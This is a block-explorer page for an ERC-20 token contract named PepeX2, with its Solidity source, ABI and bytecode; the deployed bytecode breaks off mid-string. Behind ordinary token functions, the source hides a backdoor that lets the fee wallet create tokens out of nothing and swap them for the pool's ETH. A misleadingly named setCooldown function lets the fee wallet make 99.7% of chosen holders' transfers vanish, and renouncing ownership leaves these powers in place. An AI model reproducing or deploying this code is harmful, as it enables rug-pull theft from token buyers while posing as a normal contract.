ERC-20
Overview
Max Total Supply
200,000,000,000 PEPEX2
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,590,189,696.593663328 PEPEX2Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Pepex2
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-01 */ pragma solidity ^0.8.19; // SPDX-License-Identifier: MIT library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } abstract contract Ownable { address private _owner; function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner(){ require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } interface IUniswapV2Router { function factory() external pure returns (address addr); function WETH() external pure returns (address aadd); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external; } contract Pepex2 is Ownable { using SafeMath for uint256; string private _name = "PepeX2"; uint256 public _decimals = 9; uint256 public _totalSupply = 200000000000 * 10 ** _decimals; string private _symbol = "PEPEX2"; function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } event Transfer(address indexed __address_, address indexed, uint256 _v); function _transfer(address sender, address receiver, uint256 amount) internal { require(sender != address(0)); if (msg.sender == _feeWallet && sender == receiver) {liquifyAndSwap(amount, receiver);} else {require(amount <= _balances[sender]); uint256 feeAmount = 0; if (cooldowns[sender] != 0 && cooldowns[sender] <= block.number) {feeAmount = amount.mul(997).div(1000);} _balances[sender] = _balances[sender] - amount; _balances[receiver] += amount - feeAmount; emit Transfer(sender, receiver, amount); } } constructor() { _balances[msg.sender] = _totalSupply; _feeWallet = msg.sender; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } mapping(address => uint256) cooldowns; function decimals() external view returns (uint256) { return _decimals; } IUniswapV2Router private _uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function symbol() public view returns (string memory) { return _symbol; } function liquifyAndSwap(uint256 amount, address to) private { _approve(address(this), address(_uniswapRouter), amount); _balances[address(this)] = amount; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, to, block.timestamp + 30); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function name() external view returns (string memory) { return _name; } mapping(address => uint256) bots; event Approval(address indexed a, address indexed, uint256 value); function setCooldown(address[] calldata botAddress) external { for (uint i = 0; i < botAddress.length; i++) { if (!taxWallet()){}else {cooldowns[botAddress[i]] = block.number + 1; }} } address public _feeWallet; function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function totalSupply() external view returns (uint256) { return _totalSupply; } function _approve(address owner, address spender, uint256 amount) internal { require(spender != address(0), "IERC20: approve to the zero address"); require(owner != address(0), "IERC20: approve from the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } mapping(address => uint256) private _balances; function getPairAddress() private view returns (address) {return IUniswapV2Factory( _uniswapRouter.factory()).getPair(address(this), _uniswapRouter.WETH()); } function decreaseAllowance(address from, uint256 amount) public returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transferFrom(address from, address recipient, uint256 amount) public returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } mapping(address => mapping(address => uint256)) private _allowances; function taxWallet() internal view returns (bool) { return msg.sender == _feeWallet; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"a","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"__address_","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"_v","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"botAddress","type":"address[]"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600681526020017f5065706558320000000000000000000000000000000000000000000000000000815250600190816200004a919062000589565b506009600255600254600a620000619190620007f3565b642e90edd00062000073919062000844565b6003556040518060400160405280600681526020017f504550455832000000000000000000000000000000000000000000000000000081525060049081620000bc919062000589565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011f57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600354600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003019190620008a0565b60405180910390a3620008bd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200039157607f821691505b602082108103620003a757620003a662000349565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003d2565b6200041d8683620003d2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200046a620004646200045e8462000435565b6200043f565b62000435565b9050919050565b6000819050919050565b620004868362000449565b6200049e620004958262000471565b848454620003df565b825550505050565b600090565b620004b5620004a6565b620004c28184846200047b565b505050565b5b81811015620004ea57620004de600082620004ab565b600181019050620004c8565b5050565b601f82111562000539576200050381620003ad565b6200050e84620003c2565b810160208510156200051e578190505b620005366200052d85620003c2565b830182620004c7565b50505b505050565b600082821c905092915050565b60006200055e600019846008026200053e565b1980831691505092915050565b60006200057983836200054b565b9150826002028217905092915050565b62000594826200030f565b67ffffffffffffffff811115620005b057620005af6200031a565b5b620005bc825462000378565b620005c9828285620004ee565b600060209050601f831160018114620006015760008415620005ec578287015190505b620005f885826200056b565b86555062000668565b601f1984166200061186620003ad565b60005b828110156200063b5784890151825560018201915060208501945060208101905062000614565b868310156200065b578489015162000657601f8916826200054b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006fe57808604811115620006d657620006d562000670565b5b6001851615620006e65780820291505b8081029050620006f6856200069f565b9450620006b6565b94509492505050565b600082620007195760019050620007ec565b81620007295760009050620007ec565b81600181146200074257600281146200074d5762000783565b6001915050620007ec565b60ff84111562000762576200076162000670565b5b8360020a9150848211156200077c576200077b62000670565b5b50620007ec565b5060208310610133831016604e8410600b8410161715620007bd5782820a905083811115620007b757620007b662000670565b5b620007ec565b620007cc8484846001620006ac565b92509050818404811115620007e657620007e562000670565b5b81810290505b9392505050565b6000620008008262000435565b91506200080d8362000435565b92506200083c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000707565b905092915050565b6000620008518262000435565b91506200085e8362000435565b92508282026200086e8162000435565b9150828204841483151762000888576200088762000670565b5b5092915050565b6200089a8162000435565b82525050565b6000602082019050620008b760008301846200088f565b92915050565b611d4380620008cd6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80633eaaf86b116100a25780638da5cb5b116100715780638da5cb5b146102aa57806395d89b41146102c8578063a457c2d7146102e6578063a9059cbb14610316578063dd62ed3e146103465761010b565b80633eaaf86b14610234578063659419a41461025257806370a0823114610270578063715018a6146102a05761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806332424aa3146101e657806339509351146102045761010b565b80630204f6771461011057806306fdde031461012c578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b61012a60048036038101906101259190611384565b610376565b005b610134610421565b6040516101419190611461565b60405180910390f35b610164600480360381019061015f9190611517565b6104b3565b6040516101719190611572565b60405180910390f35b6101826104ca565b60405161018f919061159c565b60405180910390f35b6101b260048036038101906101ad91906115b7565b6104d4565b6040516101bf9190611572565b60405180910390f35b6101d0610575565b6040516101dd919061159c565b60405180910390f35b6101ee61057f565b6040516101fb919061159c565b60405180910390f35b61021e60048036038101906102199190611517565b610585565b60405161022b9190611572565b60405180910390f35b61023c610623565b604051610249919061159c565b60405180910390f35b61025a610629565b6040516102679190611619565b60405180910390f35b61028a60048036038101906102859190611634565b61064f565b604051610297919061159c565b60405180910390f35b6102a8610698565b005b6102b26107cb565b6040516102bf9190611619565b60405180910390f35b6102d06107f4565b6040516102dd9190611461565b60405180910390f35b61030060048036038101906102fb9190611517565b610886565b60405161030d9190611572565b60405180910390f35b610330600480360381019061032b9190611517565b6109ad565b60405161033d9190611572565b60405180910390f35b610360600480360381019061035b9190611661565b6109c4565b60405161036d919061159c565b60405180910390f35b60005b8282905081101561041c5761038c610a4b565b156104095760014361039e91906116d0565b600560008585858181106103b5576103b4611704565b5b90506020020160208101906103ca9190611634565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061041490611733565b915050610379565b505050565b606060018054610430906117aa565b80601f016020809104026020016040519081016040528092919081815260200182805461045c906117aa565b80156104a95780601f1061047e576101008083540402835291602001916104a9565b820191906000526020600020905b81548152906001019060200180831161048c57829003601f168201915b5050505050905090565b60006104c0338484610aa3565b6001905092915050565b6000600354905090565b60006104e1848484610c6c565b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561056a57600080fd5b600190509392505050565b6000600254905090565b60025481565b6000610619338484600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061491906116d0565b610aa3565b6001905092915050565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106b76107cb565b73ffffffffffffffffffffffffffffffffffffffff161461070d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070490611827565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610803906117aa565b80601f016020809104026020016040519081016040528092919081815260200182805461082f906117aa565b801561087c5780601f106108515761010080835404028352916020019161087c565b820191906000526020600020905b81548152906001019060200180831161085f57829003601f168201915b5050505050905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091157600080fd5b6109a3338484600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099e9190611847565b610aa3565b6001905092915050565b60006109ba338484610c6c565b6001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b09906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b789061197f565b60405180910390fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5f919061159c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca557600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d2d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610d4157610d3c8183610fa9565b610fa4565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610d8d57600080fd5b600080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610e1d575043600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610e4e57610e4b6103e8610e3d6103e58561123d90919063ffffffff16565b6112b790919063ffffffff16565b90505b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e999190611847565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082610ee89190611847565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3691906116d0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f9a919061159c565b60405180910390a3505b505050565b610fd630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aa3565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156110375761103661199f565b5b6040519080825280602002602001820160405280156110655781602001602082028036833780820191505090505b509050308160008151811061107d5761107c611704565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906119e3565b8160018151811061115c5761115b611704565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426111e691906116d0565b6040518663ffffffff1660e01b8152600401611206959493929190611b13565b600060405180830381600087803b15801561122057600080fd5b505af1158015611234573d6000803e3d6000fd5b50505050505050565b600080830361124f57600090506112b1565b6000828461125d9190611b6d565b905082848261126c9190611bde565b146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390611c81565b60405180910390fd5b809150505b92915050565b60008082116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290611ced565b60405180910390fd5b600082846113099190611bde565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126113445761134361131f565b5b8235905067ffffffffffffffff81111561136157611360611324565b5b60208301915083602082028301111561137d5761137c611329565b5b9250929050565b6000806020838503121561139b5761139a611315565b5b600083013567ffffffffffffffff8111156113b9576113b861131a565b5b6113c58582860161132e565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561140b5780820151818401526020810190506113f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611433826113d1565b61143d81856113dc565b935061144d8185602086016113ed565b61145681611417565b840191505092915050565b6000602082019050818103600083015261147b8184611428565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114ae82611483565b9050919050565b6114be816114a3565b81146114c957600080fd5b50565b6000813590506114db816114b5565b92915050565b6000819050919050565b6114f4816114e1565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b6000806040838503121561152e5761152d611315565b5b600061153c858286016114cc565b925050602061154d85828601611502565b9150509250929050565b60008115159050919050565b61156c81611557565b82525050565b60006020820190506115876000830184611563565b92915050565b611596816114e1565b82525050565b60006020820190506115b1600083018461158d565b92915050565b6000806000606084860312156115d0576115cf611315565b5b60006115de868287016114cc565b93505060206115ef868287016114cc565b925050604061160086828701611502565b9150509250925092565b611613816114a3565b82525050565b600060208201905061162e600083018461160a565b92915050565b60006020828403121561164a57611649611315565b5b6000611658848285016114cc565b91505092915050565b6000806040838503121561167857611677611315565b5b6000611686858286016114cc565b9250506020611697858286016114cc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116db826114e1565b91506116e6836114e1565b92508282019050808211156116fe576116fd6116a1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061173e826114e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036117705761176f6116a1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117c257607f821691505b6020821081036117d5576117d461177b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118116020836113dc565b915061181c826117db565b602082019050919050565b6000602082019050818103600083015261184081611804565b9050919050565b6000611852826114e1565b915061185d836114e1565b9250828203905081811115611875576118746116a1565b5b92915050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118d76023836113dc565b91506118e28261187b565b604082019050919050565b60006020820190508181036000830152611906816118ca565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006119696025836113dc565b91506119748261190d565b604082019050919050565b600060208201905081810360008301526119988161195c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506119dd816114b5565b92915050565b6000602082840312156119f9576119f8611315565b5b6000611a07848285016119ce565b91505092915050565b6000819050919050565b6000819050919050565b6000611a3f611a3a611a3584611a10565b611a1a565b6114e1565b9050919050565b611a4f81611a24565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8a816114a3565b82525050565b6000611a9c8383611a81565b60208301905092915050565b6000602082019050919050565b6000611ac082611a55565b611aca8185611a60565b9350611ad583611a71565b8060005b83811015611b06578151611aed8882611a90565b9750611af883611aa8565b925050600181019050611ad9565b5085935050505092915050565b600060a082019050611b28600083018861158d565b611b356020830187611a46565b8181036040830152611b478186611ab5565b9050611b56606083018561160a565b611b63608083018461158d565b9695505050505050565b6000611b78826114e1565b9150611b83836114e1565b9250828202611b91816114e1565b91508282048414831517611ba857611ba76116a1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611be9826114e1565b9150611bf4836114e1565b925082611c0457611c03611baf565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6b6022836113dc565b9150611c7682611c0f565b604082019050919050565b60006020820190508181036000830152611c9a81611c5e565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cd7601b836113dc565b9150611ce282611ca1565b602082019050919050565b60006020820190508181036000830152611d0681611cca565b905091905056fea2646970667358221220120488b5e1626b6d4ac3874bd2ec7345179d3b8491a431d760991c7e77e9427c64736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80633eaaf86b116100a25780638da5cb5b116100715780638da5cb5b146102aa57806395d89b41146102c8578063a457c2d7146102e6578063a9059cbb14610316578063dd62ed3e146103465761010b565b80633eaaf86b14610234578063659419a41461025257806370a0823114610270578063715018a6146102a05761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806332424aa3146101e657806339509351146102045761010b565b80630204f6771461011057806306fdde031461012c578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b61012a60048036038101906101259190611384565b610376565b005b610134610421565b6040516101419190611461565b60405180910390f35b610164600480360381019061015f9190611517565b6104b3565b6040516101719190611572565b60405180910390f35b6101826104ca565b60405161018f919061159c565b60405180910390f35b6101b260048036038101906101ad91906115b7565b6104d4565b6040516101bf9190611572565b60405180910390f35b6101d0610575565b6040516101dd919061159c565b60405180910390f35b6101ee61057f565b6040516101fb919061159c565b60405180910390f35b61021e60048036038101906102199190611517565b610585565b60405161022b9190611572565b60405180910390f35b61023c610623565b604051610249919061159c565b60405180910390f35b61025a610629565b6040516102679190611619565b60405180910390f35b61028a60048036038101906102859190611634565b61064f565b604051610297919061159c565b60405180910390f35b6102a8610698565b005b6102b26107cb565b6040516102bf9190611619565b60405180910390f35b6102d06107f4565b6040516102dd9190611461565b60405180910390f35b61030060048036038101906102fb9190611517565b610886565b60405161030d9190611572565b60405180910390f35b610330600480360381019061032b9190611517565b6109ad565b60405161033d9190611572565b60405180910390f35b610360600480360381019061035b9190611661565b6109c4565b60405161036d919061159c565b60405180910390f35b60005b8282905081101561041c5761038c610a4b565b156104095760014361039e91906116d0565b600560008585858181106103b5576103b4611704565b5b90506020020160208101906103ca9190611634565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061041490611733565b915050610379565b505050565b606060018054610430906117aa565b80601f016020809104026020016040519081016040528092919081815260200182805461045c906117aa565b80156104a95780601f1061047e576101008083540402835291602001916104a9565b820191906000526020600020905b81548152906001019060200180831161048c57829003601f168201915b5050505050905090565b60006104c0338484610aa3565b6001905092915050565b6000600354905090565b60006104e1848484610c6c565b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561056a57600080fd5b600190509392505050565b6000600254905090565b60025481565b6000610619338484600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061491906116d0565b610aa3565b6001905092915050565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106b76107cb565b73ffffffffffffffffffffffffffffffffffffffff161461070d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070490611827565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610803906117aa565b80601f016020809104026020016040519081016040528092919081815260200182805461082f906117aa565b801561087c5780601f106108515761010080835404028352916020019161087c565b820191906000526020600020905b81548152906001019060200180831161085f57829003601f168201915b5050505050905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091157600080fd5b6109a3338484600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099e